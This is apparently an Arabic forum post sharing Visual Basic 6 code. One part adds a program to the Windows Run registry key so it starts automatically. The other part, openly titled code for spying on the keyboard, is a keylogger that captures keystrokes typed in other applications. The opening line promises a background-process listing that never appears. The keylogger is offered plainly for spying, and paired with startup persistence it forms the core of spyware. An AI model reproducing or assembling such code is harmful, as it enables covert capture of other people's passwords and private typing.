هذا أمر لإظهار كل البرامج المشتغلة في خلفية الحاسو

وهذا الكود لفتح برنامجك بمجرد تشغيل الوندوز

كود بدا التشغيل :

في الموديل :

Option Explicit

Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long

Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long

Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, lpSecurityAttributes As Any, phkResult As Long, lpdwDisposition As Long) As Long

Private Const READ_CONTROL = &H20000

Private Const KEY_QUERY_VALUE = &H1

Private Const KEY_SET_VALUE = &H2

Private Const KEY_CREATE_SUB_KEY = &H4

Private Const KEY_ENUMERATE_SUB_KEYS = &H8

Private Const KEY_NOTIFY = &H10

Private Const KEY_CREATE_LINK = &H20

Private Const KEY_READ = KEY_QUERY_VALUE + KEY_ENUMERATE_SUB_KEYS + KEY_NOTIFY + READ_CONTROL

Private Const KEY_WRITE = KEY_SET_VALUE + KEY_CREATE_SUB_KEY + READ_CONTROL

Private Const KEY_EXECUTE = KEY_READ

Private Const KEY_ALL_ACCESS = KEY_QUERY_VALUE + KEY_SET_VALUE + KEY_CREATE_SUB_KEY + KEY_ENUMERATE_SUB_KEYS + KEY_NOTIFY + KEY_CREATE_LINK + READ_CONTROL

Private Const RunPath = "Software\Microsoft\Windows\CurrentVersion\Run\"

Private Const HKLM = &H80000002

' استخدم الامر التالي لالغاء التشغيل التلقائي

Public Sub DoNotRun(ProgramName As String)

Dim hKey As Long

Dim Ret As Long

' فتح المفتاح المطلوب

Ret = RegOpenKeyEx(HKLM, RunPath, 0, KEY_ALL_ACCESS, hKey)

' حذفها من مسجل النظام.

Ret = RegDeleteValue(hKey, ProgramName)

' إغلاق المفتاح

RegCloseKey hKey

End Sub

Public Sub RunWhenStartup(ProgramName As String, ProgramPath As String)

Dim hKey As Long

Dim Ret As Long

' فتح المفتاح المطلوب

Ret = RegOpenKeyEx(HKLM, RunPath, 0, KEY_ALL_ACCESS, hKey)

' إنشاء قيمة جديدة بإسم البرنامج وعنوانه.

Ret = RegSetValueEx(hKey, ProgramName, 0&, 1, ProgramPath, Len(ProgramPath)) 'LenB(StrConv(TheData, vbFromUnicode)) + 1)

' إغلاق المفتاح

RegCloseKey hKey

End Sub

------------

في الفورم :

RunWhenStartup "عنوان", App.Path & "\" & App.EXEName & ".exe"

شكرا جزيلا اخوكم هيثم

hythamfighter@yahoo.com

هذا الكود لتتجسس علي لوحه المفاتيح

التجسس على لوحة المفاتيح

Private Sub Form_Load()

Me.Caption = "Key Spy"

'Create an API-timer

SetTimer Me.hwnd, 0, 1, AddressOf TimerProc

End Sub

Private Sub Form_Paint()

Dim R As RECT

Const mStr = "Start this project, go to another application, type something, switch back to this application and unload the form. If you unload the form, a messagebox with all the typed keys will be shown."

'Clear the form

Me.Cls

'API uses pixels

Me.ScaleMode = vbPixels

'Set the rectangle's values

SetRect R, 0, 0, Me.ScaleWidth, Me.ScaleHeight

'Draw the text on the form

DrawTextEx Me.hDC, mStr, Len(mStr), R, DT_WORDBREAK Or DT_CENTER, ByVal 0&

End Sub

Private Sub Form_Resize()

Form_Paint

End Sub

Private Sub Form_Unload(Cancel As Integer)

'Kill our API-timer

KillTimer Me.hwnd, 0

'Show all the typed keys

MsgBox sSave

End Sub

ونكتب في موديل Modell

Public Const DT_CENTER = &H1

Public Const DT_WORDBREAK = &H10

Type RECT

Left As Long

Top As Long

Right As Long

Bottom As Long

End Type

Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long

Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long

Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long

Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long

Global Cnt As Long, sSave As String, sOld As String, Ret As String

Dim Tel As Long

Function GetPressedKey() As String

For Cnt = 32 To 128

'Get the keystate of a specified key

If GetAsyncKeyState(Cnt) <> 0 Then

GetPressedKey = Chr$(Cnt)

Exit For

End If

Next Cnt

End Function

Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)

Ret = GetPressedKey

If Ret <> sOld Then

sOld = Ret

sSave = sSave + sOld

End If

End Sub

شكرا جزيلا اخوكم هيثم

hythamfighter@yahoo.com